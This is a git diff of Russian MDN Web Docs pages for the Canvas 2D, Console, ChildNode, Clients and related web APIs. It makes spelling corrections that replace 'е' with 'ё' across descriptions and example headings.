<em>(sx, sy)</em>.</dd> <dt>{{domxref("CanvasRenderingContext2D.putImageData()")}}</dt> @@ -228,7 +228,7 @@ ctx.fillRect(10, 10, 55, 50); <dl> <dt>{{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}} {{experimental_inline}}</dt> - <dd>Режим сглаживания изображений; если отключен, изображения не будут сглаживаться при масштабировании.</dd> + <dd>Режим сглаживания изображений; если отключён, изображения не будут сглаживаться при масштабировании.</dd> </dl> <h2 id="Состояние_холста">Состояние холста</h2> @@ -237,9 +237,9 @@ ctx.fillRect(10, 10, 55, 50); <dl> <dt>{{domxref("CanvasRenderingContext2D.save()")}}</dt> - <dd>Сохраняет текущее состояние стилей рисования, используя для этого стек, так что вы можете отменить любые внесенные в него изменения с помощью метода <code>restore()</code>.</dd> + <dd>Сохраняет текущее состояние стилей рисования, используя для этого стек, так что вы можете отменить любые внесённые в него изменения с помощью метода <code>restore()</code>.</dd> <dt>{{domxref("CanvasRenderingContext2D.restore()")}}</dt> - <dd>Восстанавливает состояние стилей рисования в значение, сохраненное методом <code>save()</code> в стек состояний последним.</dd> + <dd>Восстанавливает состояние стилей рисования в значение, сохранённое методом <code>save()</code> в стек состояний последним.</dd> <dt>{{domxref("CanvasRenderingContext2D.canvas")}}</dt> <dd>Доступная только для чтения обратная ссылка на {{domxref("HTMLCanvasElement")}}. Может иметь значение {{jsxref("null")}}, если она не связана с элементом {{HTMLElement("canvas")}}.</dd> </dl> @@ -259,7 +259,7 @@ ctx.fillRect(10, 10, 55, 50); <h3 id="Blink_и_WebKit">Blink и WebKit</h3> -<p>Большинство из этих API являются <a href="https://code.google.com/p/chromium/issues/detail?id=363198">запрещенными и будут удалены в будущем</a>.</p> +<p>Большинство из этих API являются <a href="https://code.google.com/p/chromium/issues/detail?id=363198">запрещёнными и будут удалены в будущем</a>.</p> <dl> <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.clearShadow()</code></dt> @@ -307,9 +307,9 @@ ctx.fillRect(10, 10, 55, 50); <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitBackingStorePixelRatio</code></dt> <dd><span id="result_box" lang="ru"><span>Размер хранилища по отношению к элементу canvas</span></span>. Смотри <a href="http://www.html5rocks.com/en/tutorials/canvas/hidpi/">High DPI Canvas</a>.</dd> <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitGetImageDataHD</code></dt> - <dd>Предназначался для HD хранилищ, но удален из спецификации canvas.</dd> + <dd>Предназначался для HD хранилищ, но удалён из спецификации canvas.</dd> <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitPutImageDataHD</code></dt> - <dd>Предназначался для HD хранилищ, но удален из спецификации canvas.</dd> + <dd>Предназначался для HD хранилищ, но удалён из спецификации canvas.</dd> </dl> <dl> diff --git a/files/ru/web/api/canvasrenderingcontext2d/linedashoffset/index.html b/files/ru/web/api/canvasrenderingcontext2d/linedashoffset/index.html index ec4db4e6e2..9c1a2edd80 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/linedashoffset/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/linedashoffset/index.html @@ -69,9 +69,9 @@ ctx.stroke(); <p>{{ EmbedLiveSample('Смещение_штрихов', '', '', '', 'Web/API/CanvasRenderingContext2D/lineDashOffset') }}</p> -<h3 id="Эффект_марширующих_муравьев">Эффект марширующих муравьев</h3> +<h3 id="Эффект_марширующих_муравьёв">Эффект марширующих муравьёв</h3> -<p><a href="https://en.wikipedia.org/wiki/Marching_ants">Эффект марширующих муравьев</a> - это техника анимации, часто встречающаяся в инструментах выбора программ компьютерной графики. Это помогает пользователю отличить границу выделения от фона изображения, анимируя границу..</p> +<p><a href="https://en.wikipedia.org/wiki/Marching_ants">Эффект марширующих муравьёв</a> - это техника анимации, часто встречающаяся в инструментах выбора программ компьютерной графики. Это помогает пользователю отличить границу выделения от фона изображения, анимируя границу..</p> <div class="hidden"> <h6 id="HTML_2">HTML</h6> @@ -102,7 +102,7 @@ const march = () => { march(); </pre> -<p>{{ EmbedLiveSample('Эффект_марширующих_муравьев', '', '', '', 'Web/API/CanvasRenderingContext2D/lineDashOffset') }}</p> +<p>{{ EmbedLiveSample('Эффект_марширующих_муравьёв', '', '', '', 'Web/API/CanvasRenderingContext2D/lineDashOffset') }}</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/canvasrenderingcontext2d/linejoin/index.html b/files/ru/web/api/canvasrenderingcontext2d/linejoin/index.html index 46de026437..503a024b40 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/linejoin/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/linejoin/index.html @@ -29,7 +29,7 @@ translation_of: Web/API/CanvasRenderingContext2D/lineJoin <dl> <dt><code>round</code></dt> - <dd>Скругляет углы за счет добавления сектора с центром в точке пересечения линий и радиусом равным толщине линии.</dd> + <dd>Скругляет углы за счёт добавления сектора с центром в точке пересечения линий и радиусом равным толщине линии.</dd> <dt><code>bevel</code></dt> <dd>"Срезает" угол, рисуя треугольник с вершинами в точке пересечения линий и крайних точках каждой линии.</dd> <dt><code>miter</code></dt> diff --git a/files/ru/web/api/canvasrenderingcontext2d/lineto/index.html b/files/ru/web/api/canvasrenderingcontext2d/lineto/index.html index db3b7db1ae..c935fa4c67 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/lineto/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/lineto/index.html @@ -58,7 +58,7 @@ ctx.stroke(); // Отображает путь</pre> <p>{{ EmbedLiveSample('Рисование_прямых_линий', 700, 180) }}</p> -<h3 id="Рисование_соединенных_линий">Рисование соединенных линий</h3> +<h3 id="Рисование_соединённых_линий">Рисование соединённых линий</h3> <p>Каждый вызов <code>lineTo()</code> автоматически добавляет текущий подпуть, это означает, что все линии будут обведены и закрашены вместе. Этот пример рисует букву 'M' линиями одного пути.</p> @@ -82,7 +82,7 @@ ctx.stroke();</pre> <h4 id="Результаты">Результаты</h4> -<p>{{ EmbedLiveSample('Рисование_соединенных_линий', 700, 180) }}</p> +<p>{{ EmbedLiveSample('Рисование_соединённых_линий', 700, 180) }}</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/canvasrenderingcontext2d/linewidth/index.html b/files/ru/web/api/canvasrenderingcontext2d/linewidth/index.html index 08126dbb6d..c91b520c4a 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/linewidth/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/linewidth/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/lineWidth --- <div>{{APIRef}}</div> -<p><code>Свойство<strong> CanvasRenderingContext2D</strong></code><strong><code>.lineWidth</code></strong>, предоставляемое Canvas 2D API задает толщину линий в пикселах. При получении свойства возвращается его текущее значение. При задании свойства, присваиваемое значение должно быть положительным числом, ноль, отрицательные числа, {{jsxref("Infinity")}} и {{jsxref("NaN")}} игнорируются.</p> +<p><code>Свойство<strong> CanvasRenderingContext2D</strong></code><strong><code>.lineWidth</code></strong>, предоставляемое Canvas 2D API задаёт толщину линий в пикселах. При получении свойства возвращается его текущее значение. При задании свойства, присваиваемое значение должно быть положительным числом, ноль, отрицательные числа, {{jsxref("Infinity")}} и {{jsxref("NaN")}} игнорируются.</p> <p>См. также главу <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Applying styles and color</a> в <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas Tutorial</a>.</p> diff --git a/files/ru/web/api/canvasrenderingcontext2d/rect/index.html b/files/ru/web/api/canvasrenderingcontext2d/rect/index.html index 532fdf1fdc..54b62df40b 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/rect/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/rect/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/CanvasRenderingContext2D/rect --- <div>{{APIRef}}</div> -<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.rect()</code></strong>, предоставляемый Canvas 2D API, создает контур прямоугольника в позиции <em>(x, y)</em>, размеры которого устанавливаются аргументами <em>width</em> и <em>height</em>. Четыре точки прямоугольника соединяются прямыми линиями, и получившийся фрагмент контура отмечается как замкнутый, так что вы можете выполнить его заливку или обрисовать контур.</p> +<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.rect()</code></strong>, предоставляемый Canvas 2D API, создаёт контур прямоугольника в позиции <em>(x, y)</em>, размеры которого устанавливаются аргументами <em>width</em> и <em>height</em>. Четыре точки прямоугольника соединяются прямыми линиями, и получившийся фрагмент контура отмечается как замкнутый, так что вы можете выполнить его заливку или обрисовать контур.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/api/canvasrenderingcontext2d/restore/index.html b/files/ru/web/api/canvasrenderingcontext2d/restore/index.html index 33feac8b7e..ee4375afd4 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/restore/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/restore/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/restore --- <div>{{APIRef}}</div> -<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.restore()</code></strong> восстанавливает предварительно сохраненное состояние канваса из стека. Если состояние ранее не сохранялось, то метод ничего не делает.</p> +<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.restore()</code></strong> восстанавливает предварительно сохранённое состояние канваса из стека. Если состояние ранее не сохранялось, то метод ничего не делает.</p> <p>Fore more information about the <a href="/en-US/docs/Web/API/CanvasRenderingContext2D.save#Drawing_state">drawing state</a>, see {{domxref("CanvasRenderingContext2D.save()")}}.</p> diff --git a/files/ru/web/api/canvasrenderingcontext2d/rotate/index.html b/files/ru/web/api/canvasrenderingcontext2d/rotate/index.html index d750bcdee3..6e09b6a98b 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/rotate/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/rotate/index.html @@ -27,7 +27,7 @@ translation_of: Web/API/CanvasRenderingContext2D/rotate <h3 id="Использование_метода_rotate">Использование метода <code>rotate</code></h3> -<p>Ниже приведен простой пример кода, который использует метод <code>rotate</code>.</p> +<p>Ниже приведён простой пример кода, который использует метод <code>rotate</code>.</p> <h4 id="HTML">HTML</h4> @@ -46,7 +46,7 @@ ctx.fillRect(70, 0, 100, 30); ctx.setTransform(1, 0, 0, 1, 0, 0); </pre> -<p>Отредактируйте приведенный ниже код и посмотрите, как обновляются ваши изменения на холсте:</p> +<p>Отредактируйте приведённый ниже код и посмотрите, как обновляются ваши изменения на холсте:</p> <div class="hidden"> <h6 id="Playable_code">Playable code</h6> diff --git a/files/ru/web/api/canvasrenderingcontext2d/stroke/index.html b/files/ru/web/api/canvasrenderingcontext2d/stroke/index.html index 4f5e3a7386..7daaa192ed 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/stroke/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/stroke/index.html @@ -28,7 +28,7 @@ void <var><em>ctx</em>.stroke(path);</var> <h3 id="Использование_метода_stroke()">Использование метода <code>stroke()</code></h3> -<p>В этом примере с помощью метода <code>rect()</code> создается прямоугольник, и затем с помощью <code>stroke()</code> отрисовывается на холсте.</p> +<p>В этом примере с помощью метода <code>rect()</code> создаётся прямоугольник, и затем с помощью <code>stroke()</code> отрисовывается на холсте.</p> <h4 id="HTML">HTML</h4> @@ -43,7 +43,7 @@ ctx.rect(10, 10, 100, 100); ctx.stroke(); </pre> -<p>Отредактируйте приведенный ниже код и посмотрите, как обновляется рисунок на холсте:</p> +<p>Отредактируйте приведённый ниже код и посмотрите, как обновляется рисунок на холсте:</p> <div class="hidden"> <h6 id="Playable_code">Playable code</h6> diff --git a/files/ru/web/api/canvasrenderingcontext2d/strokestyle/index.html b/files/ru/web/api/canvasrenderingcontext2d/strokestyle/index.html index a09679cce0..6d51e49f08 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/strokestyle/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/strokestyle/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/strokeStyle --- <div>{{APIRef}}</div> -<p>Свойство<strong> </strong><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.strokeStyle</code></strong>, предоставляемое Canvas 2D API задает цвет или стиль, используемый при выполнении обводки фигур. По умолчанию установлено значение <code>#000</code> (черный цвет).</p> +<p>Свойство<strong> </strong><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.strokeStyle</code></strong>, предоставляемое Canvas 2D API задаёт цвет или стиль, используемый при выполнении обводки фигур. По умолчанию установлено значение <code>#000</code> (чёрный цвет).</p> <p>См. также главу <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Applying styles and color</a> в <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas Tutorial</a>.</p> diff --git a/files/ru/web/api/canvasrenderingcontext2d/stroketext/index.html b/files/ru/web/api/canvasrenderingcontext2d/stroketext/index.html index 4f7390f7cb..53126b08ed 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/stroketext/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/stroketext/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/strokeText --- <div>{{APIRef}}</div> -<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.strokeText(),</code></strong> предоставляемый Canvas 2D API, выполняет обводку заданного текста в заданной позиции (<em>x, y</em>). Если указан необязательный четвертый параметр, текст будет масштабироваться в соответствие с указанной максимальной шириной.</p> +<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.strokeText(),</code></strong> предоставляемый Canvas 2D API, выполняет обводку заданного текста в заданной позиции (<em>x, y</em>). Если указан необязательный четвёртый параметр, текст будет масштабироваться в соответствие с указанной максимальной шириной.</p> <p>См. также метод {{domxref("CanvasRenderingContext2D.fillText()")}} для заливки контуров текста.</p> diff --git a/files/ru/web/api/canvasrenderingcontext2d/textalign/index.html b/files/ru/web/api/canvasrenderingcontext2d/textalign/index.html index 306558fa51..722612b831 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/textalign/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/textalign/index.html @@ -56,7 +56,7 @@ ctx.textAlign = 'left'; ctx.strokeText('Hello world', 0, 100); </pre> -<p>Отредактируйте приведенный ниже код и посмотрите, как обновляется ваше обновление на холсте:</p> +<p>Отредактируйте приведённый ниже код и посмотрите, как обновляется ваше обновление на холсте:</p> <div class="hidden"> <h6 id="Playable_code" name="Playable_code">Playable code</h6> diff --git a/files/ru/web/api/cdatasection/index.html b/files/ru/web/api/cdatasection/index.html index e660a2c42a..ab6f0be9d9 100644 --- a/files/ru/web/api/cdatasection/index.html +++ b/files/ru/web/api/cdatasection/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/CDATASection <pre class="brush:xml"><foo>Here is a CDATA section: <![CDATA[ < > & ]]> with all kinds of unescaped text. </foo> </pre> -<p>Единственная последовательность (символов), не разрешенная внутри раздела CDATA - это сами символы закрытия раздела CDATA:</p> +<p>Единственная последовательность (символов), не разрешённая внутри раздела CDATA - это сами символы закрытия раздела CDATA:</p> <pre class="brush:xml"><![CDATA[ ]]> will cause an error ]]> </pre> diff --git a/files/ru/web/api/characterdata/index.html b/files/ru/web/api/characterdata/index.html index 5c6d15ecdd..ccdd1d16b5 100644 --- a/files/ru/web/api/characterdata/index.html +++ b/files/ru/web/api/characterdata/index.html @@ -30,7 +30,7 @@ translation_of: Web/API/CharacterData <dl> <dt>{{domxref("CharacterData.appendData()")}}</dt> - <dd>Добавляет указанную {{domxref("DOMString")}} к строке <code>CharacterData.data</code>; после выполнения данного метода, <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">данные содержат</span></font> объединенный(элемент) {{domxref("DOMString")}}.</dd> + <dd>Добавляет указанную {{domxref("DOMString")}} к строке <code>CharacterData.data</code>; после выполнения данного метода, <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">данные содержат</span></font> объединённый(элемент) {{domxref("DOMString")}}.</dd> <dt>{{domxref("CharacterData.deleteData()")}}</dt> <dd>Удаляет указанное количество символов, начиная с указанного отступа, из строки <code>CharacterData.data</code>; после выполнения метода, данные(<code>data)</code> содержат урезанный {{domxref("DOMString")}}.</dd> <dt>{{domxref("CharacterData.insertData()")}}</dt> diff --git a/files/ru/web/api/childnode/index.html b/files/ru/web/api/childnode/index.html index 0d1ebf46ec..f2367222f7 100644 --- a/files/ru/web/api/childnode/index.html +++ b/files/ru/web/api/childnode/index.html @@ -47,7 +47,7 @@ translation_of: Web/API/ChildNode <tr> <td>{{SpecName('DOM WHATWG', '#interface-childnode', 'ChildNode')}}</td> <td>{{Spec2('DOM WHATWG')}}</td> - <td>Интерфейс <code>ElementTraversal</code> разделен на {{domxref("ParentNode")}} и <code>ChildNode</code>. Свойства <code>previousElementSibling</code> и <code>nextElementSibling</code> теперь определены в последнем.<br> + <td>Интерфейс <code>ElementTraversal</code> разделён на {{domxref("ParentNode")}} и <code>ChildNode</code>. Свойства <code>previousElementSibling</code> и <code>nextElementSibling</code> теперь определены в последнем.<br> The {{domxref("CharacterData")}} and {{domxref("DocumentType")}} implemented the new interfaces.<br> Добавлены методы <code>remove()</code>, <code>before()</code>, <code>after()</code> и <code>replaceWith()</code>.</td> </tr> diff --git a/files/ru/web/api/childnode/remove/index.html b/files/ru/web/api/childnode/remove/index.html index 5c4528f98e..786b178e24 100644 --- a/files/ru/web/api/childnode/remove/index.html +++ b/files/ru/web/api/childnode/remove/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/ChildNode/remove <p> </p> -<p>То, что элемент удален из DOM, еще не значит, что он удален совсем! </p> +<p>То, что элемент удалён из DOM, ещё не значит, что он удалён совсем! </p> <p>Он остался объектом и исчезнет только тогда, когда исчезнут все ссылки на него.</p> @@ -34,7 +34,7 @@ translation_of: Web/API/ChildNode/remove <pre class="brush: js">var elem = document.querySelector("#one"); elem.remove(); alert(document.querySelector("#box").innerHTML); //Исчез блок #one -alert(elem); //Но как видите, сам объект еще жив</pre> +alert(elem); //Но как видите, сам объект ещё жив</pre> <h2 id="Полифил">Полифил</h2> diff --git a/files/ru/web/api/clients/index.html b/files/ru/web/api/clients/index.html index 5372df8139..9d0ad8fdec 100644 --- a/files/ru/web/api/clients/index.html +++ b/files/ru/web/api/clients/index.html @@ -39,7 +39,7 @@ translation_of: Web/API/Clients for (i = 0 ; i < clients.length ; i++) { if (clients[i] === 'index.html') { clients.openWindow(clients[i]); - // или сделать что-то другое, с учетом подошедшего клиента + // или сделать что-то другое, с учётом подошедшего клиента } } });</pre> diff --git a/files/ru/web/api/clients/openwindow/index.html b/files/ru/web/api/clients/openwindow/index.html index 64d67ce7ca..78e5412005 100644 --- a/files/ru/web/api/clients/openwindow/index.html +++ b/files/ru/web/api/clients/openwindow/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/Clients/openWindow --- <div>{{APIRef("Service Workers API")}}</div> -<p>Метод <strong><code>openWindow()</code></strong> интерфейса {{domxref("Clients")}} создает новый контекст просмотра верхнего уровня и загружает заданный URL. Если вызывающий скрипт не имеет разрешения на отображение всплывающих окон, <code>openWindow()</code> выдаст <code>InvalidAccessError</code>.</p> +<p>Метод <strong><code>openWindow()</code></strong> интерфейса {{domxref("Clients")}} создаёт новый контекст просмотра верхнего уровня и загружает заданный URL. Если вызывающий скрипт не имеет разрешения на отображение всплывающих окон, <code>openWindow()</code> выдаст <code>InvalidAccessError</code>.</p> <p>В Firefox этому методу разрешено отображать всплывающие окна только при вызове события клике по уведомлению.</p> @@ -59,7 +59,7 @@ self.addEventListener('notificationclick', e => { e.waitUntil(clients.matchAll({ type: 'window' }).then(clientsArr => { // Если вкладка, соответствующая целевому URL-адресу, уже существует, сфокусируйтесь на ней; const hadWindowToFocus = clientsArr.some(windowClient => windowClient.url === e.notification.data.url ? (windowClient.focus(), true) : false); - // В противном случае откройте новую вкладку для соответствующего URL-адреса и сфокусируйте ее. + // В противном случае откройте новую вкладку для соответствующего URL-адреса и сфокусируйте её. if (!hadWindowToFocus) clients.openWindow(e.notification.data.url).then(windowClient => windowClient ? windowClient.focus() : null); })); }); diff --git a/files/ru/web/api/clipboardevent/index.html b/files/ru/web/api/clipboardevent/index.html index 6078feb5c0..792f097015 100644 --- a/files/ru/web/api/clipboardevent/index.html +++ b/files/ru/web/api/clipboardevent/index.html @@ -27,7 +27,7 @@ translation_of: Web/API/ClipboardEvent <dl> <dt>{{domxref("ClipboardEvent.ClipboardEvent", "ClipboardEvent()")}}</dt> - <dd>Создает <code>ClipboardEvent</code> событие с переданными параметрами.</dd> + <dd>Создаёт <code>ClipboardEvent</code> событие с переданными параметрами.</dd> </dl> <h2 id="Методы">Методы</h2> diff --git a/files/ru/web/api/comment/index.html b/files/ru/web/api/comment/index.html index 1f5be83365..d262ab9a04 100644 --- a/files/ru/web/api/comment/index.html +++ b/files/ru/web/api/comment/index.html @@ -5,7 +5,7 @@ tags: - Комментарии translation_of: Web/API/Comment --- -<p>Интерфейс<span class="seoSummary"> <code><strong>Comment</strong></code> представляет собой текстовые записи в разметке; хотя, в основном, они не отображаются, такие комментарии доступны для чтения в исходном коде.</span> Комментарии представляются в HTML и XML как контент, заключенный между '<code><!--</code>' и '<code>--></code>'. В XML, последовательность символов '<code>--</code>' может не использоваться в комментариях.</p> +<p>Интерфейс<span class="seoSummary"> <code><strong>Comment</strong></code> представляет собой текстовые записи в разметке; хотя, в основном, они не отображаются, такие комментарии доступны для чтения в исходном коде.</span> Комментарии представляются в HTML и XML как контент, заключённый между '<code><!--</code>' и '<code>--></code>'. В XML, последовательность символов '<code>--</code>' может не использоваться в комментариях.</p> <p>{{InheritanceDiagram}}</p> diff --git a/files/ru/web/api/console/count/index.html b/files/ru/web/api/console/count/index.html index 32304c274f..500fec756d 100644 --- a/files/ru/web/api/console/count/index.html +++ b/files/ru/web/api/console/count/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Console/count <p>{{AvailableInWorkers}}</p> -<p>Если <code>label</code> передается в функцию, то она выводит число вызовов функции <code>count()</code> с такой же точно <code>label</code>.</p> +<p>Если <code>label</code> передаётся в функцию, то она выводит число вызовов функции <code>count()</code> с такой же точно <code>label</code>.</p> <p>Если <code>label</code> опущена, то функция выводит такое число, сколько раз была вызвана функция <code>count()</code> в этой отдельной строке.</p> @@ -64,7 +64,7 @@ console.count("alice");</pre> "alice: 2" "alice: 3"</pre> -<p>Таким образом мы сохранили различные счетчики основываясь только на значении <code>label</code>. Поскольку строка "alice" в строке 11 совпала со значением <code>user</code> дважды, это не сочлось отдельным событием.</p> +<p>Таким образом мы сохранили различные счётчики основываясь только на значении <code>label</code>. Поскольку строка "alice" в строке 11 совпала со значением <code>user</code> дважды, это не сочлось отдельным событием.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -75,7 +75,7 @@ console.count("alice");</pre> <dl> <dt><code>label</code></dt> - <dd>Строка. Если она передается, <code>count()</code> выводит такое число, которое соответствует количеству раз вызова данной функции с таким же точно <code>label</code>.</dd> + <dd>Строка. Если она передаётся, <code>count()</code> выводит такое число, которое соответствует количеству раз вызова данной функции с таким же точно <code>label</code>.</dd> </dl> <h2 id="Specifications">Specifications</h2> diff --git a/files/ru/web/api/console/countreset/index.html b/files/ru/web/api/console/countreset/index.html index 3725be4d9d..41c80c15a5 100644 --- a/files/ru/web/api/console/countreset/index.html +++ b/files/ru/web/api/console/countreset/index.html @@ -5,13 +5,13 @@ translation_of: Web/API/Console/countReset --- <div>{{APIRef("Console API")}}</div> -<p>Сбрасывает значение счетчика. Эта функция также принимает необязательный аргумент <code>label</code>.</p> +<p>Сбрасывает значение счётчика. Эта функция также принимает необязательный аргумент <code>label</code>.</p> <p>{{AvailableInWorkers}}</p> -<p>Если аргумент <code>label</code> передан, то функция сбросит счетчик связанный с этим аргументом.</p> +<p>Если аргумент <code>label</code> передан, то функция сбросит счётчик связанный с этим аргументом.</p> -<p>Если значение <code>label</code> опущено, то функция сбросит счетчик, заданий по умолчанию.</p> +<p>Если значение <code>label</code> опущено, то функция сбросит счётчик, заданий по умолчанию.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -23,8 +23,8 @@ translation_of: Web/API/Console/countReset <dl> <dt><code>label</code></dt> <dd>Строка.<br> - Если аргумент label был передан, <code>countReset()</code> сбросит к 0 счетчик для этого label.<br> - Если нет, <code>count()</code> сбросит к 0 счетчик, заданий по умолчанию.</dd> + Если аргумент label был передан, <code>countReset()</code> сбросит к 0 счётчик для этого label.<br> + Если нет, <code>count()</code> сбросит к 0 счётчик, заданий по умолчанию.</dd> </dl> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> @@ -33,17 +33,17 @@ translation_of: Web/API/Console/countReset <pre> <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">counter-name: 0</span></span></span></pre> -<p>Если аргумент label не был определен:</p> +<p>Если аргумент label не был определён:</p> <pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">default: 0</span></span></span></pre> <h3 id="Исключения">Исключения</h3> -<p>Если аргумент <code>label</code> был передан, но такого счетчика не существует <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><code>countReset</code> вернет предупреждение:</span></span></span></p> +<p>Если аргумент <code>label</code> был передан, но такого счётчика не существует <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><code>countReset</code> вернёт предупреждение:</span></span></span></p> <pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><code>Counter "counter-name" doesn’t exist.</code></span></span></span></pre> -<p>Если аргумент <code>label</code> не был передан и <code>count()</code> не был вызван ранее, <code>countReset</code> <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">вернет предупреждение</span></span></span>:</p> +<p>Если аргумент <code>label</code> не был передан и <code>count()</code> не был вызван ранее, <code>countReset</code> <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">вернёт предупреждение</span></span></span>:</p> <pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><code>Counter "default" doesn’t exist.</code></span></span></span></pre> @@ -75,7 +75,7 @@ console.countReset();</pre> "default: 0" </pre> -<p>Заметьте, что вызов console.counterReset() сбросил до 0 значение счетчика заданного по умолчанию.</p> +<p>Заметьте, что вызов console.counterReset() сбросил до 0 значение счётчика заданного по умолчанию.</p> <p>Если мы присвоим переменную <code>user</code> как аргумент <code>label</code> при первом вызове <code>count()</code>, и строку "alice" при втором:</p> @@ -102,7 +102,7 @@ console.count("alice");</pre> "bob: 0" "alice: 3"</pre> -<p>Сброс счетчика "bob" изменил значение только этого счетчика. Значение счетчика "alice" осталось неизменно.</p> +<p>Сброс счётчика "bob" изменил значение только этого счётчика. Значение счётчика "alice" осталось неизменно.</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/console/group/index.html b/files/ru/web/api/console/group/index.html index 91817d2671..aab129926f 100644 --- a/files/ru/web/api/console/group/index.html +++ b/files/ru/web/api/console/group/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Console/group --- <div>{{APIRef("Console API")}}</div> -<div>Создает новую группу сообщений в <a href="/en-US/docs/Tools/Web_Console">веб-консоли</a>. После вызова последующие сообщения, выводимые в консоль, будут иметь дополнительный уровень отступа, до тех пор пока не будет вызван метод {{domxref("console.groupEnd()")}}.</div> +<div>Создаёт новую группу сообщений в <a href="/en-US/docs/Tools/Web_Console">веб-консоли</a>. После вызова последующие сообщения, выводимые в консоль, будут иметь дополнительный уровень отступа, до тех пор пока не будет вызван метод {{domxref("console.groupEnd()")}}.</div> <p>{{AvailableInWorkers}}</p> @@ -23,9 +23,9 @@ translation_of: Web/API/Console/group <p>{{h3_gecko_minversion("Использование в веб-консоли", "9.0")}}</p> -<p>Использование групп помогает упорядочить вывод в консоль благодаря визуальной группировке связанных сообщений. Чтобы начать новый блок нужно вызвать <code>console.group()</code>. Метод <code>console.groupCollapsed()</code> работает аналогичным образом, но выведенная группа будет свернута до тех пор, пока не будет развернута по клику.</p> +<p>Использование групп помогает упорядочить вывод в консоль благодаря визуальной группировке связанных сообщений. Чтобы начать новый блок нужно вызвать <code>console.group()</code>. Метод <code>console.groupCollapsed()</code> работает аналогичным образом, но выведенная группа будет свёрнута до тех пор, пока не будет развёрнута по клику.</p> -<p><strong>Примечание:</strong> Начиная с 9 по 51 версию Gecko, метод <code>groupCollapsed()</code> работал как метод <code>group()</code>. Свернутые группы поддерживаются с версии Gecko 52. См. {{bug("1088360")}}.</p> +<p><strong>Примечание:</strong> Начиная с 9 по 51 версию Gecko, метод <code>groupCollapsed()</code> работал как метод <code>group()</code>. Свёрнутые группы поддерживаются с версии Gecko 52. См. {{bug("1088360")}}.</p> <p>Чтобы прекратить вывод в группу, требуется вызвать <code>console.groupEnd()</code>. К примеру, следующий код:</p> diff --git a/files/ru/web/api/console/index.html b/files/ru/web/api/console/index.html index c3fb2b5c03..2ce6130800 100644 --- a/files/ru/web/api/console/index.html +++ b/files/ru/web/api/console/index.html @@ -32,12 +32,12 @@ translation_of: Web/API/Console <dt>{{domxref("Console.clear()")}}</dt> <dd>Очистка консоли.</dd> <dt>{{domxref("Console.count()")}}</dt> - <dd>Выводит количество вызовов метода с определенной меткой (передаётся в параметре метода)</dd> + <dd>Выводит количество вызовов метода с определённой меткой (передаётся в параметре метода)</dd> </dl> <dl> 